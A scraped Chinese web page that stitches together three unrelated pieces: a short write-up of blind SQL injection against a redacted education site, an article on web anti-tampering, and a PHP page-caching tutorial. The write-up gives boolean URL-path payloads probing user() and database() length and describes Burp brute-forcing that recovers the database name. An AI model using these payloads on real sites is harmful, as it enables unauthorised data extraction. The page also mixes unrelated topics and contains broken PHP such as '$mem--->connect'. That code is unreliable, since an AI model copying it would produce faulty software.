整合營銷服務商
電腦端+手機端+微信端=數據同步管理
免費咨詢熱線：
電腦端+手機端+微信端=數據同步管理
免費咨詢熱線：
眾號：白帽子左一
專注分享滲透經驗，干貨技巧....
前言
最近工作繁忙，許久沒有挖洞，打開度娘，凡事隨緣，偶米頭發~~(⊙﹏⊙)
涉及技能點
1.發現
在翻閱一EDU站點時，發現路徑中帶有明顯的數字參數
好像與我們平時習慣的xxx.php?id=不同呃
按照以往習慣，先用order by探探底，結果翻車了…應該有自定義邏輯在過濾敏感關鍵詞。
繼續努力，峰回路轉,耶~~~！
構造boolen等式時能夠被帶入查詢語句并顯示不同效果
當條件不符合時，71-false=71，顯示71.html，無數據
http://EDU_SITE/.../..._id/71-false.html
=> SELECT ..FROM .. WHERE ... AND _id=71-false
而當條件符合時，71-true=70，顯示70.html，有數據
http://EDU_SITE/.../..._id/71-true.html
=> SELECT ..FROM .. WHERE ... AND _id=71-true
獲取用戶名長度
http://EDU_SITE/.../..._id/71-(length(user())=12).html
=> SELECT ..FROM .. WHERE ... AND _id=71-(length(user())=12)
獲取數據庫長度
http://EDU_SITE/.../..._id/71-(length(database())=6).html
=> SELECT ..FROM .. WHERE ... AND _id=71-(length(database())=6)
嘗試用burpsuite的clusterboom模式對database進行爆破
其中參數1 為位數，參數2 為可能出現的字符明文
獲得最終database()=db_cms
在嘗試sql注入的時候，往往過分關注get傳參或者post傳參而忽略了URL中自帶的注入點，有時候一些明顯的數字型參數也能夠帶入payload
多嘗試,多總結，祝各位也都收獲滿滿~~！
公司新需求，網頁防篡改，這個如何實現？(別走開，這里有你不知道的知識點)
## 引言：網頁防篡改技術的重要性
在Web開發領域，保護網站內容不受非法篡改是一項至關重要的任務，尤其對于涉及交易、金融、政務等重要信息的網站來說，網頁防篡改更是關乎數據安全與用戶信任的基石。本文將深入淺出地介紹網頁防篡改技術及其具體實現方法，讓你在滿足公司新需求的同時，掌握更多鮮為人知的技術知識點。
### **一、網頁篡改的主要手段與危害**
1. **靜態文件篡改**：攻擊者通過非法途徑修改服務器上的HTML、CSS、JavaScript等靜態文件，植入惡意代碼。
2. **動態內容注入**：利用漏洞篡改數據庫內容，影響網頁動態加載的信息。
3. **中間人攻擊**：在網絡傳輸過程中篡改數據包內容。
### **二、網頁防篡改的基本原理與策略**
#### **1. 文件完整性校驗**
- **MD5/SHA校驗**：對靜態文件進行MD5或SHA散列值計算，存儲在數據庫或配置文件中，每次加載文件時驗證散列值是否一致。
```javascript
// 偽代碼示例
function verifyFileIntegrity(fileUrl, expectedHash) {
const actualHash = calculateFileHash(fileUrl);
return actualHash === expectedHash;
}
function calculateFileHash(fileUrl) {
// 實際中需要通過HTTP請求獲取文件內容并計算哈希值
// 此處僅為示例，實際計算哈希值的代碼省略
}
```
#### **2. HTTPS加密傳輸**
- **SSL/TLS協議**：啟用HTTPS加密傳輸，有效防止中間人攻擊篡改傳輸內容。
#### **3. 動態內容簽名**
- **JWT（JSON Web Tokens）**：對動態生成的內容進行簽名，客戶端驗證簽名的有效性。
```javascript
// Node.js示例，使用jsonwebtoken庫生成簽名
const jwt = require('jsonwebtoken');
function signDynamicContent(content) {
const secret = 'your-secret-key';
const token = jwt.sign({ content }, secret, { expiresIn: '1h' });
return token;
}
// 客戶端驗證簽名
jwt.verify(token, 'your-secret-key', (err, decoded) => {
if (!err) {
const signedContent = decoded.content;
// 使用簽名有效的動態內容
} else {
// 處理簽名無效的情況
}
});
```
### **三、服務器端防護措施**
1. **文件系統監控**：對服務器文件系統進行實時監控，一旦檢測到文件改動立即報警。
2. **Web應用防火墻（WAF）**：部署WAF，對輸入輸出流量進行過濾，阻止惡意篡改行為。
3. **源碼混淆與壓縮**：通過混淆和壓縮技術降低源碼可讀性，加大篡改難度。
### **四、前端防御手段**
1. **Content Security Policy（CSP）**：制定嚴格的CSP規則，限制加載外部資源和執行內聯腳本。
```html
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self' https://trusted-cdn.com;">
```
2. **Subresource Integrity（SRI）**：對加載的外部腳本、樣式表等資源進行完整性校驗。
```html
<link rel="stylesheet" href="styles.css"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYlxyRH+c1rjSmjgdLyeR8Q=="
crossorigin="anonymous">
```
### **五、綜合解決方案：數字簽名與時間戳**
**1. 數字簽名**：通過公鑰/私鑰體系，由服務器對靜態資源進行數字簽名，客戶端驗證簽名有效性。
**2. 時間戳**：附加資源的時間戳信息，一旦文件被篡改，客戶端通過比對時間戳判斷資源是否最新。
### **結語**
網頁防篡改是一項系統的安全工程，需要從前端到后端，從傳輸層到應用層全方位進行防護。只有深入了解各種技術手段，并結合實際業務需求進行合理配置，才能確保網頁內容的安全性和穩定性。在實施過程中，我們不僅要關注技術細節，更要重視安全意識的培養和規范化的安全運維流程，共同筑起網絡安全的堅固防線。
著網站的內容的增多和用戶訪問量的增多，無可避免的是網站加載會越來越慢，受限于帶寬和服務器同一時間的請求次數的限制，我們往往需要在此時對我們的網站進行代碼優化和服務器配置的優化。
一般情況下會從以下方面來做優化
1、動態頁面靜態化
2、優化數據庫
3、使用負載均衡
4、使用緩存
5、使用CDN加速
現在很多網站在建設的時候都要進行靜態化的處理，為什么網站要進行靜態化處理呢？我們都知道純靜態網站是所有的網頁都是獨立的一個html頁面，當我們訪問的時候不需要經過數據的處理直接就能讀取到文件，訪問速度就可想而知了，而其對于搜索引擎而言也是非常友好的一個方式。
純靜態網站在網站中是怎么實現的？
純靜態的制作技術是需要先把網站的頁面總結出來，分為多少個樣式，然后把這些頁面做成模板，生成的時候需要先讀取源文件然后生成獨立的以.html結尾的頁面文件，所以說純靜態網站需要更大的空間，不過其實需要的空間也不會大多少的，尤其是對于中小型企業網站來說，從技術上來講，大型網站想要全站實現純靜態化是比較困難的，生成的時間也太過于長了。不過中小型網站還是做成純靜態的比較，這樣做的優點是很多的。
而動態網站又是怎么進行靜態處理的？
頁面靜態化是指將動態頁面變成html/htm靜態頁面。動態頁面一般由asp,php,jsp,.net等程序語言編寫而成，非常便于管理。但是訪問網頁時還需要程序先處理一遍，所以導致訪問速度相對較慢。而靜態頁面訪問速度快，卻又不便于管理。那么動態頁面靜態化即可以將兩種頁面的好處集中到一起。
靜態處理后又給網站帶來了哪些好處？
1、靜態頁面相對于動態頁面更容易被搜索引擎收錄。
2、訪問靜態頁面不需要經過程序處理，因此可以提高運行速度。
3、減輕服務器負擔。
4、HTML頁面不會受Asp相關漏洞的影響。
靜態處理后的網站相對沒有靜態化處理的網站來講還比較有安全性，因為靜態網站是不會是黑客攻擊的首選對象，因為黑客在不知道你后臺系統的情況下，黑 客從前臺的靜態頁面很難進行攻擊。同時還具有一定的穩定性，比如數據庫或者網站的程序出了問題，他不會干擾到靜態處理后的頁面，不會因為程序或數據影響而 打不開頁面。
搜索引擎蜘蛛程序更喜歡這樣的網址，也可以減輕蜘蛛程序的工作負擔，雖然有的人會認為現在搜索引擎完全有能力去抓取和識別動態的網址，在這里還是建議大家能做成靜態的盡量做成靜態網址。
下面我們主要來講一講頁面靜態化這個概念，希望對你有所幫助！
什么是HTML靜態化:
常說的頁面靜態化分為兩種，一種是偽靜態，即url 重寫，一種是真靜態化。
在PHP網站開發中為了網站推廣和SEO等需要，需要對網站進行全站或局部靜態化處理，PHP生成靜態HTML頁面有多種方法，比如利用PHP模板、緩存等實現頁面靜態化。
PHP靜態化的簡單理解就是使網站生成頁面以靜態HTML的形式展現在訪客面前，PHP靜態化分純靜態化和偽靜態化，兩者的區別在于PHP生成靜態頁面的處理機制不同。
PHP偽靜態：利用Apache mod_rewrite實現URL重寫的方法。
HTML靜態化的好處:
一、減輕服務器負擔，瀏覽網頁無需調用系統數據庫。
二、有利于搜索引擎優化SEO，Baidu、Google都會優先收錄靜態頁面，不僅被收錄的快還收錄的全；
三、加快頁面打開速度，靜態頁面無需連接數據庫打開速度較動態頁面有明顯提高；
四、網站更安全，HTML頁面不會受php程序相關漏洞的影響；觀看一下大一點的網站基本全是靜態頁面，而且可以減少攻擊，防sql注入。數據庫出錯時，不影響網站正常訪問。
五、數據庫出錯時，不影響網站的正常訪問。
最主要是可以增加訪問速度,減輕服務器負擔,當數據量有幾萬，幾十萬或是更多的時候你知道哪個更快了. 而且還容易被搜索引擎找到。生成html文章雖操作上麻煩些，程序上繁雜些，但為了更利于搜索，為了速度更快些，更安全，這些犧牲還是值得的。
實現HTML靜態化的策略與實例講解:
基本方式
file_put_contents()函數
使用php內置緩存機制實現頁面靜態化 —output-bufferring.
方法1:利用PHP模板生成靜態頁面
PHP模板實現靜態化非常方便，比如安裝和使用PHP Smarty實現網站靜態化。
在使用Smarty的情況下，也可以實現頁面靜態化。下面先簡單說一下使用Smarty時通常動態讀取的做法。
一般分這幾步：
1、通過URL傳遞一個參數(ID);
2、然后根據此ID查詢數據庫;
3、取得數據后根據需要修改顯示內容;
4、assign需要顯示的數據;
5、display模板文件。
Smarty靜態化過程只需要在上述過程中添加兩個步驟。
第一：在1之前使用 ob_start() 打開緩沖區。
第二：在5之后使用 ob_get_contents() 獲取內存未輸出內容，然后使用fwrite()將內容寫入目標html文件。
根據上述描述，此過程是在網站前臺實現的，而內容管理(添加、修改、刪除)通常是在后臺進行，為了能有效利用上述過程，可以使用一點小手段，那就是Header()。具體過程是這樣的：在添加、修改程序完成之后，使用Header() 跳到前臺讀取，這樣可以實現頁面HTML化，然后在生成html后再跳回后臺管理側，而這兩個跳轉過程是不可見的。
方法2:使用PHP文件讀寫功能生成靜態頁面
<?php
$out1 = "<html><head><title>PHP網站靜態化教程</title></head><body>歡迎訪問PHP網站開發www.startphp.cn，本文主要介紹PHP網站頁面靜態化的方法</body></html>";
$fp = fopen("leapsoulcn.html","w");
if(!$fp)
{
echo "System Error";
exit();
}
else
{
fwrite($fp,$out1);
fclose($fp);
echo "Success";
}
?>
方法3：使用PHP輸出控制函數（Output Control）/ob緩存機制生成靜態頁面
輸出控制函數（Output Control）也就是使用和控制緩存來生成靜態HTML頁面，也會使用到PHP文件讀寫函數。
比如某個商品的動態詳情頁地址是: http://xxx.com?goods.php?gid=112
那么這里我們根據這個地址讀取一次這個詳情頁的內容，然后保存為靜態頁，下次有人訪問這個商品詳情頁動態地址時，我們可以直接把已生成好的對應靜態內容文件輸出出來。
PHP生成靜態頁面實例代碼 1
<?php
ob_start();
echo "<html>".
"<head>".
"<title>PHP網站靜態化教程</title>".
"</head>".
"<body>歡迎訪問腳本之家，本文主要介紹PHP網站頁面靜態化的方法</body>".
"</html>";
$out1 = ob_get_contents();
ob_end_clean();
$fp = fopen("leapsoulcn.html","w");
if(!$fp)
{
echo "System Error";
exit();
}
else
{
fwrite($fp,$out1);
fclose($fp);
echo "Success";
}
?>
PHP生成靜態頁面實例代碼 2
<?php
$gid = $_GET['gid']+0;//商品id
$goods_statis_file = "goods_file_".$gid.".html";//對應靜態頁文件
$expr = 3600*24*10;//靜態文件有效期，十天
if(file_exists($goods_statis_file)){
$file_ctime =filectime($goods_statis_file);//文件創建時間
if($file_ctime+$expr-->time()){//如果沒過期
echo file_get_contents($goods_statis_file);//輸出靜態文件內容
exit;
}else{//如果已過期
unlink($goods_statis_file);//刪除過期的靜態頁文件
ob_start();
//從數據庫讀取數據，并賦值給相關變量
//include ("xxx.html");//加載對應的商品詳情頁模板
$content = ob_get_contents();//把詳情頁內容賦值給$content變量
file_put_contents($goods_statis_file,$content);//寫入內容到對應靜態文件中
ob_end_flush();//輸出商品詳情頁信息
}
}else{
ob_start();
//從數據庫讀取數據，并賦值給相關變量
//include ("xxx.html");//加載對應的商品詳情頁模板
$content = ob_get_contents();//把詳情頁內容賦值給$content變量
file_put_contents($goods_statis_file,$content);//寫入內容到對應靜態文件中
ob_end_flush();//輸出商品詳情頁信息
}
?>
我們知道使用PHP進行網站開發，一般執行結果直接輸出到游覽器，為了使用PHP生成靜態頁面，就需要使用輸出控制函數控制緩存區，以便獲取緩存區的內容，然后再輸出到靜態HTML頁面文件中以實現網站靜態化。
PHP生成靜態頁面的思路為：首先開啟緩存，然后輸出了HTML內容（你也可以通過include將HTML內容以文件形式包含進來），之后獲取緩存中的內容，清空緩存后通過PHP文件讀寫函數將緩存內容寫入到靜態HTML頁面文件中。
獲得輸出的緩存內容以生成靜態HTML頁面的過程需要使用三個函數：ob_start()、ob_get_contents()、ob_end_clean()。
知識點：
1、ob_start函數一般主要是用來開啟緩存，注意使用ob_start之前不能有任何輸出，如空格、字符等。
2、ob_get_contents函數主要用來獲取緩存中的內容以字符串形式返回，注意此函數必須在ob_end_clean函數之前調用，否則獲取不到緩存內容。
3、ob_end_clean函數主要是清空緩存中的內容并關閉緩存，成功則返回True，失敗則返回False
方法4：使用nosql從內存中讀取內容(其實這個已經不算靜態化了而是緩存);
以memcache為例：
<?php
$gid = $_GET['gid']+0;//商品id
$goods_statis_content = "goods_content_".$gid;//對應鍵
$expr = 3600*24*10;//有效期，十天
$mem = new Memcache;
$mem--->connect('memcache_host', 11211);
$mem_goods_content = $mem->get($goods_statis_content);
if($mem_goods_content){
echo $mem_goods_content;
}else{
ob_start();
//從數據庫讀取數據，并賦值給相關變量
//include ("xxx.html");//加載對應的商品詳情頁模板
$content = ob_get_contents();//把詳情頁內容賦值給$content變量
$mem->add($goods_statis_content,$content, false, $expr);
ob_end_flush();//輸出商品詳情頁信息
}
?>
memcached是鍵值一一對應，key默認最大不能超過128個字節，value默認大小是1M，因此1M大小滿足大多數網頁大小的存儲。
舉兩個例子，怎么樣寫好代碼
最經典的算法，獻給正在面試道路上的你
如果你現在在面試PHP的道路上，看看面試基礎題吧
*請認真填寫需求信息，我們會在24小時內與您取得聯系。
